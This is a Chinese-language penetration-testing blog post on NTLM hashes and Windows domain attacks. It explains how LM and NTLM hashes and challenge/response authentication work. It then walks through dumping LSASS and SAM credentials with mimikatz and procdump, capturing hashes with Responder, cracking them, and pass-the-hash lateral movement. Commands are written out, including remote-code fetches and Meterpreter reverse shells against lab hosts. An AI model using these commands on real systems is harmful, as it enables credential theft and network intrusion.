一、认识Windows HASH
早期SMB协议在网络上传输明文口令。后来出现”LAN Manager Challenge/Response”验证机制,简称LM,它非常简单很容易被破解,现在已经废弃。微软提出了Windows NT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令,我们称之为hash(中文:哈希),Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM hash,第二部分是NTLM hash。
LM HASH
LM HASH
是一种较古老的Hash,在LAN Manager
协议中使用,非常容易通过暴力破解获取明文凭据。Vista以前的Windows OS使用它,Vista之后的版本默认禁用了LM协议,但某些情况下还是可以使用。
补充:
Windows Vista
和Windows Server 2008
以前的系统还会使用LM hash。LM hash的生成方法本文暂不介绍。自Vista和2008开始,Windows取消LM hash,但某些工具的参数需要填写固定格式LM hash:NT hash
,可以将LM Hash填0(LM hash可以为任意值),即00000000000000000000000000000000:NT hash
NTLM HASH
NTLM Hash(NT LAN Manager)
是支持Net NTLM
认证协议及本地认证
过程中的一个重要参数。其长度为32位,由数字与字母组成。它的前身是LM Hash
,目前基本淘汰,两者相差不大,只是使用的加密算法不同。
本地认证:Windows不存储用户的明文密码,它会将用户的明文密码经过加密后存储在SAM (Security Account Manager Database,安全账号管理数据库)
中。SAM文件的路径是%SystemRoot%\system32\config\sam
。在进行本地认证的过程中,当用户登录时,系统将用户输入的明文密码加密成NTLM Hash,与SAM数据库中的NTLM Hash进行比较,从而实现认证。
Note:在域环境下,DC (Domain Controller,域控制器)中也存在这样的数据库
AD (Account Database)
,位于ntds.dit
文件。该文件包含用户对象、组和组成员身份信息、域中所有用户的密码哈希。
NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较。通常意义上的NTLM Hash
指存储在SAM
数据库及NTDS数据库
中对密码进行Hash摘要计算后的结果,这类Hash可以直接用于PTH,并且通常存在于LSASS
进程中,便于SSP使用。
本地认证流程
1 | winlogon.exe -> 接收用户输入 -> lsass.exe -> (认证) |
首先,用户注销、重启、锁屏后,操作系统会让winlogon显示登录界面,也就是输入框,接收输入后,将密码交给lsass进程,这个进程中会存一份明文密码,将明文密码加密成NTLM Hash,对比SAM数据库中的hash进行验证。
- Windows Logon Process(即 winlogon.exe),是Windows NT 用户登 陆程序,用于管理用户登录和退出。
- LSASS用于微软Windows系统的安全机 制。它用于本地安全和登陆策略。
在系统中,hash格式是类似这样的:
1 | ssooking:1001:AAD3B435B51404EEAAD3B435B51404EE:AFC44EE7351D61D00698796DA06B1EBF::: |
NTLM-Hash的生成
用户密码为test123
转换成十六进制的格式为74657374313233
转换成Unicode格式为7400650073007400310032003300
对字符串7400650073007400310032003300
以十六进制格式作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1
注:
MD4加密可使用工具HashCalc,如下图
IBM设计的LM Hash算法存在几个弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,NTLM Hash便应运而生。假设明文口令是123456
,首先转换成Unicode
字符串,与LM Hash算法不同,这次不需要添加0补足14字节
123456
-> 310032003300340035003600
。
从
ASCII
串转换成Unicode串时,使用little-endian(小端)
序。0x80之前的标准ASCII码转换成Unicode码,就是简单地从0x??变成 0×00??。此类标准ASCII串按little-endian序转换成Unicode串,就是简单地在原有每个字节之后添加0×00。
对所获取的 Unicode串进行标准MD4单向哈希,无论数据源有多少字节,MD4固定产生128-bit的哈希值,
16字节 310032003300340035003600
- 进行标准MD4单向哈希 -> 32ED87BDB5FDC5E9CBA88547376818D4
,
就得到了最后的NTLM Hash:32ED87BDB5FDC5E9CBA88547376818D4
实验环境下,测试服务器可以先关闭密码复杂性策略,设置一个简单的密码。
gpedit.msc – 本地组策略编辑器 – 计算机配置 - windows设置 - 安全设置 - 帐户策略 - 密码策略
后文以Adminstrator NTML Hash 为例。明文密码为toor
1 | Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:AFC44EE7351D61D00698796DA06B1EBF::: |
二、NTML网络认证机制
NTLM 协议
NTLM是除Kerberos
之外的一种网络认证协议,只支持Windows。它是一种基于质询/应答 (Challenge/Response)消息交换模式的认证机制, 常用于工作组和域环境下登录场景的身份认证
。
基于NTML协议的身份认证机制
NTML网络认证采用质询/应答 (Challenge/Response) 模式进行数据交换,通过传输加密的Challenge/Response
值并进行对比,从而验证用户身份。NTML网络认证会使用用户密码的Hash作为密钥,来加密Challenge
,用户只有在输对密码的情况下,才能够同样利用密码的hash进行解密。这样通过对比两端的计算结果来判断凭据是否有效,从而实现身份认证。这样的好处是,用户的密码不会在网络链路中传输,加密之后的Challenge值取代原本密码的作用进行对比验证,与传统传输密码的方式相比,具有较高的安全性。
通过交互过程中维护的凭证(credential)
,包括域名、用户名、用户密码的hash串
ps:域名信息会自动在数据包中携带,无需用户手动输入。
NTLM的认证过程分为三步:协商、质询、验证:
- 协商:主要用于确认双方协议版本
- 质询:质询/应答 (Challenge/Response) 模式,用于消息交换
- 验证:验证身份合法性,通常由Server端或域控制器完成这个过程
NTML的认证方式分为Interactive(交互式)
和Noninteractive(非交互式)
:
交互式验证
:交互式提供必要凭据,通常应用场景通常为登录,即用户要登录某台客户端。
非交互式验证
:无需交互式提供凭据,在实际应用中,比如命令行直接指定用户名、密码的方式登录,再比如我们在客户端上使用net use
命令去映射服务器上某个共享文件夹的方式,这些便属于属于非交互式认证。但非交互式认证的应用场景更多的是已登录某客户端的用户去请求另一台服务器的资源 ,或者为单点登录(SSO)的方式,即用户只需要登录一次即可访问所有相互信任的应用系统及共享资源。
1 | net use x: \\17.10.0.10\$share /u:administrator password |
NTML认证机制在工作组
环境下和在域环境
下是不同的。
工作组和域宏观上都是一群计算机的集合,域中计算机的数量规模通常大于工作组内的计算机。在认证体系中,工作组和域的主要区别在于,工作组内的机器名义上虽然是属于一个集合,但是内部各计算机还是各自管理各自的,没有一个相对成熟的信任机制,工作组内各个计算机的关系依旧是点对点
的。因此,在工作组环境下进行访问认证,仅涉及Client和Server。我们使用的个人计算机,默认便处于WORKGROUP工作组环境下。
域是一个有安全边界的计算机集合,同一个域中的计算机通过共同的第三方信任机构
建立信任关系,这个第三方信任机构角色由DC (Domain Controller,域控制器)
担当。通俗来讲,域中的机器都信任域控制器,那么只要域控制器信任我们,我们就可以在域内获得对其他服务器的访问权限。在这种认证体系中涉及三方:Client、Server、DC 。
注意:在Windows域环境下涉及三方的访问认证场景中,即客户端想要访问服务器资源的情况下,采用 基于Kerberos协议的网络认证机制,NTML认证机制参与认证过程。此部分详细内容请参考域渗透之Kerberos 。
下面我们就来分别介绍一下在工作组和域环境下,基于NTML协议的网络认证机制的工作流程。以交互式为例。
工作组环境NTML认证流程
工作组中,涉及Clinet、Server,流程如下:
- 用户访问客户端计算机并输入用户名和密码信息,尝试进行登录
- 客户端计算机对密码进行哈希处理并缓存密码hash,丢弃实际的明文密码(不存储),然后将用户名发送到服务器,发起认证请求
- 服务器生成一个16字节的随机数,称为质询 (challenge) 或随机数 (nonce),并将challenge发送给客户端
- 客户端使用缓存的用户密码的哈希值对此challenge进行加密,加密结果为Response (响应),然后将Username、Challenge、Response
(Net-NTML hash)
发送给服务器。 - 服务器使用username从SAM帐户数据库中检索用户密码的hash,使用该hash来加密challenge,并与客户端计算的响应值进行比较。如果它们相同,则验证成功。
域环境NTML认证流程
在域环境下多了域控制器的角色,微软给出的说明是这样的:
- (Interactive authentication only) A user accesses a client computer and provides a domain name, user name, and password. The client computes a cryptographic hash of the password and discards the actual password.
- The client sends the user name to the server (in plaintext).
- The server generates a 16-byte random number, called a challenge or nonce, and sends it to the client.
- The client encrypts this challenge with the hash of the user’s password and returns the result to the server. This is called the response.
- The server sends the following three items to the domain controller:
- User name
- Challenge sent to the client
- Response received from the client
- The domain controller uses the user name to retrieve the hash of the user’s password from the Security Account Manager database. It uses this password hash to encrypt the challenge.
- The domain controller compares the encrypted challenge it computed (in step 6) to the response computed by the client (in step 4). If they are identical, authentication is successful.
翻译过来流程大致如下:
- 用户访问客户端计算机并输入用户名和密码信息,尝试进行登录
- 客户端计算机对密码进行哈希处理并缓存密码hash,丢弃实际的明文密码(不存储),然后将用户名发送到服务器,发起认证请求
- 服务器生成一个16字节的随机数,称为质询 (challenge) 或随机数 (nonce),并将challenge发送给客户端
- 客户端使用缓存的用户密码的哈希值对此challenge进行加密,加密结果为Response (响应),然后将Username、Challenge、Response
(Net-NTML hash)
发送给服务器 - 服务器将Username、Challenge、Response
(Net-NTML hash)
发送给DC (Domain Controller,域控制器) - DC域控制器从AD (Account Database,帐户数据库) 中检索该用户名,并提取用户密码的NTML hash,使用该hash来加密challenge,并且把这个值和客户端计算的响应值进行比较。如果它们相同,则验证成功。
三、如何拿到Hash?
1.本地获取
在渗透测试中,通常可从Windows系统中的SAM
文件和域控的NTDS.dit
文件中获得用户hash,通过读取lsass.exe
进程能获得已登录用户的NTLM hash。许多工具能够方便地为我们完成这些工作。但需要注意的是大部分抓取hash的工具都需要管理员权限。
常用工具:
- QuarksPwDump
- Mimikatz
- ProDump
- Metasploit
- Cobaltstrike
QuarksPwDump
1 | quarkspwdump.exe -dhl |
Mimikatz
1 | privilege::debug |
更方便的mimikatz命令
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" |
执行以下命令除了回显,还可以dump结果并将hash保存为log日志文件:
1 | mimikatz.exe "privilege::debug" log "sekurlsa::logonpasswords full" exit |
ProDump
prodump
是微软提供的一个命令行实用程序,用于监视应用程序并生成故障转储。我们可以用它先dump对方主机的LSASS
内存文件,然后在自己主机用mimikatz
等工具进行处理。这种方式的好处是可以避免被查杀。先转储LSASS
内存文件:
1 | procdump.exe -accepteula -ma lsass.exe lsass.dmp |
然后本地用mimikatz
对LSASS
内存文件进行破解:
1 | mimikatz.exe "sekurlsa::minidump lsass.dmp" |
类似ProDump
的工具还有:fgdump、pwdump、cachedump等。
利用powershell也能够像Prodump
一样转储lsass文件:
1 | powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump" |
Metasploit
首先需要获取SYSTEM
权限
1 | meterpreter > getuid |
在metasploit
中利用mimikatz
获取hash
1 | meterpreter > load mimikatz |
metasploit
提供的抓取hash的一些模块:
1 | meterpreter > run post/windows/gather/hashdump |
smart_hashdump
模块会把dump的hash文件保存在/root/.msf4/loot
目录下,并且该模块一定程度上能够绕过windows UAC
。
顺便介绍一些能够直接获取明文密码的模块命令:
1 | meterpreter > load mimikatz |
Cobaltstrike
1 | beacon> getuid |
读取hash,需要administer权限(右击目标主机–Access
-hashdump
)
1 | beacon> wdigest //读取信息 |
运行mimikatz(右击目标主机–Access
- RUN mimikatz
)
1 | beacon> logonpasswords |
右击受害者主机–access-hashdump
1 | beacon> powershell-import /root/powershell/Inveigh/Inveigh.ps1 |
2.网络欺骗
通常我们采用网络欺骗技术,配合受害者交互的方式窃取到是Net-NTLM Hash。这类hash并不能直接用于pass-the-hash
攻击,但可以通过暴力破解的方式来获取明文密码。关于更多获取Net-NTML HASH
的技巧,可以参考
常用工具:
- Responder
- Metasploit
Responder
responder
可以伪造服务,对相关请求进行响应。开启命令:
1 | responder -I eth0 |
实战环境下,我们应该修改/etc/responder/Responder.conf
配置文件,关闭其中的一些不必要的服务,从而减少网络流量,并产生针对性日志,如:
1 | ; Servers to start |
针对测试而言,我们还可以设置Challenge
值,以便观察流量格式:
1 | Challenge = 1122334455667788 |
开启监听后,当用户进行了交互,如在资源管理器中以UNC
路径形式访问伪造的服务器:
此时会弹出虚假认证界面,此时无论受害者是否输入凭据,我们都已经获取了NET NTML Hash
。responder
默认会将日志保存在/usr/share/responder/logs
下,hash记录文件以HTTP-NTLMv2
SMBv2-NTLMv2
等前缀开头。
在渗透测试中,我们还可以通过其他技巧获取Net-NTML Hash
,如:
- 命令执行:
regsvr32
、powershell
等 - 钓鱼文档:doc、docx、pdf
- 后门设置:
例:
1 | regsvr32 /s /u /i://17.10.0.1/@abc hello.dll |
3.其他技巧
还有许多其他Credential Dumping
姿势,可以参考:
dumping-domain-password-hashes
Places of Interest in Stealing NetNTLM Hashes 及译文 花式窃取NetNTLM哈希的方法
四、如何利用Hash?
在拿到hash之后,我们一般会考虑破解出hash明文密码,或者利用pass-the-hash
技术在无需明文密码的情况下进行特权操作。
1.解密Hash
在线解密
下面是一些提供在线解密的站点:
- https://www.cmd5.com/
- https://crack.sh/get-cracking/
- http://hashcrack.com/index.php
- http://cracker.offensive-security.com/index.php
- http://www.objectif-securite.ch/en/ophcrack.php
本地破解
我们还可以使用john
、hashcat
等工具,通过hash表、字典等进行本地破解。当工具内置的hash字典无法成功破解时,我们可以使用自己搜集的字典文件,或者利用社工等方法针对性生成hash字典。
John
1 | john HTTP-NTLMv2-17.10.0.10.txt |
Hashcat
使用hashcat -h
命令查看帮助,必要的参数有:
-m
hash类型
1 | LM:3000 |
NTLMv1的格式为:
1 | username::hostname:LM response:NTLM response:challenge |
构造后的数据如下:
1 | log1::WIN-BH7SVRRDGVA:fec9b082080e34ba00000000000000000000000000000000:51acb9f9909f0e3c4254c332f5e302a38429c5490206bc04:8d2da0f5e21e20ee |
Hashcat参数如下:
1 | hashcat -m 5500 log1::WIN-BH7SVRRDGVA:fec9b082080e34ba00000000000000000000000000000000:51acb9f9909f0e3c4254c332f5e302a38429c5490206bc04:8d2da0f5e21e20ee /tmp/password.list -o found.txt --force |
下面,使用Hashcat对该Net-NTLM hash进行破解。NTLMv2的格式为:
1 | username::domain:challenge:HMAC-MD5:blob |
值得一提的是,在真实渗透环境下,由于密码复杂度限制,一般我们获取到的
NTML-HASH
很难直接破解出明文密码,这种情况下我们需要采用其他技术继续进行横向渗透。
其他破解工具
https://www.trustedsec.com/blog/summerof2018/
2.Pass-The-Hash
哈希传递是能够在不需要账户明文密码的情况下完成认证的一个技术。渗透中当我们获取不到明文密码,或者破解不了NTLM Hash的情况下,哈希传递攻击能够使我们利用这些哈希继续进行横向渗透。PTH是基于IPC远程连接实现,只能使用被添加到远程计算机管理员组的域用户来远程连接
常见PTH工具:
- Crackmapexec
- Mimikatz
- smbmap
- smbexec
- metasploit
- cobaltstrike
crackmapexec
Window版本:
https://github.com/MichaelKCortez/CrackMapExecWin
https://github.com/maaaaz/CrackMapExecWin
1.安装 crackmapexec
1 | apt-get install crackmapexec |
2.使用 crackmapexec
1 | cme smb -h |
批量扫描探测命令:
1 | cme smb 17.10.0.10/24 |
执行命令:
1 | cme smb 17.10.0.10 -u administrator -p toor(明文密码) -x whoami |
其他参数
1 | --shares #枚举共享和访问权限 |
GETSHELL
利用拓展功能模块,我们可以方便地getshell。我们可以使用cme smb -L
命令查看所有moudules
,对应的物理路径为:
1 | /usr/local/lib/python2.7/dist-packages/crackmapexec-4.0.1.dev0-py2.7.egg/cme/modules |
其中提供的met_inject.py
模块可以使目标下载执行Meterpreter stager
,我们先来看下模块需要的参数:
1 | $ cme smb -M met_inject --options |
这是一个http
或https
的反弹shell,我们使用默认的reverse_https
,提供需要的LHOST
和LPORT
的参数即可:
1 | cme smb 17.10.0.10-150 -u administrator -H AFC44EE7351D61D00698796DA06B1EBF -M met_inject -o LHOST=17.10.0.1 LPORT=9999 |
命令的意思是通过pass-the-hash批量攻击17.10.0.10-17.10.0.150
网段的主机,并使其执行meterpreter的https反弹shell。
笔者测试时遇到问题,无法用met_inject.py
模块正常getshell,不知道什么原因。因此选择直接通过命令执行getlshell。利用metasploit的web_delivery
模块:
1 | use exploit/multi/script/web_delivery |
通过pass-the-hash执行命令批量getshell
1 | cme smb 17.10.0.10-15 -u administrator -H AFC44EE7351D61D00698796DA06B1EBF -x "regsvr32 /s /n /u /i:http://17.10.0.1:8080/1KZkey.sct scrobj.dll" |
Metasploit
search psexec
,smblogin
1 | use exploit/windows/smb/psexec |
举例:
Mimikatz
先抓取hash
1 | mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" |
得到hash之后:
1 | sekurlsa::pth /user:Administrator /domain:ssooking-pc /ntlm:AFC44EE7351D61D00698796DA06B1EBF |
wmiexec.py
exe 版本下载链接
windows 管理规范WMI
,实际上就是windows从03/XP
开始就内置了这个系统插件。其设计初衷之一是为了管理员能更加方便的对远程windows主机进行各种日常管理。严格来说它其实是为各种服务提供一个统一的调用接口,比如你想操作什么服务就去调用对应的服务类中的方法去执行你的操作。在渗透测试中,它意味着我们可以直接在本地操作远程目标机器上的进程、服务、注册表等包括其它一系列特权操作,wmi是一把在目标内网进行横向移动的非常趁手的武器。wmiexec
是一个python2脚本,对windows自带的wmic做了一些强化,让渗透变得更容易。只能说很多工具吧,比较好用的在这里介绍两种:
wmiexec的注释中提示”Main advantage here is it runs under the user (has to be Admin) account”,经实际测试普通用户权限即可。wmiexec的hash参数格式为LMHASH:NTHASH
,由于该Hash来自于Server 2008,系统默认不支持LM hash,所以LM hash可以设定为任意值。
1 | wmiexec.py -hashes 00000000000000000000000000000000:AFC44EE7351D61D00698796DA06B1EBF ssookinging-pc/administrator@17.10.0.10 "whoami" |
Powershell
1 | Invoke-WMIExec -Target 17.10.0.10 -Domain test.local -Username test1 -Hash AFC44EE7351D61D00698796DA06B1EBF -Command "calc.exe" -verbose |
PTH-EXEC
kali中自带的横向移动pth的工具,pth-winexe就是其中一个,还有与其类似的:
1 | pth-winexe -U workgroup/administrator%AAD3B435B51404EEAAD3B435B51404EE:AFC44EE7351D61D00698796DA06B1EBF //17.10.0.10 cmd.exe |
五、防御思路
检测和防御方案参考:https://attack.stealthbits.com/pass-the-hash-attack-explained
参考链接
- Microsoft NTLM
- http://www.cnblogs.com/xwdreamer/archive/2012/08/23/2652541.html
- https://www.freebuf.com/articles/database/70395.html
- https://blog.csdn.net/qq_27446553/article/details/73635108
- 工作组和域的区别
- 彻底理解Windows认证
- Windows安全认证是如何进行的?[NTLM篇]
- Windows下的身份验证—-NTLM和Kerberos
- 域渗透之横向移动
- https://blog.csdn.net/pyphrb/article/details/52051321
- Windows下的密码hash-NTLM-hash和Net-NTLM-hash介绍
- 渗透技巧-利用netsh抓取连接文件服务器的NTLMv2-Hash
- https://blog.csdn.net/Fly_hps/article/details/80641938
- https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html
- https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html
- https://attack.stealthbits.com/pass-the-hash-attack-explained
- Post title:域渗透之NTML
- Post author:ssooking
- Create time:2018-12-03 09:25:00
- Post link:https://ssooking.github.io/2018/12/域渗透之ntml/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.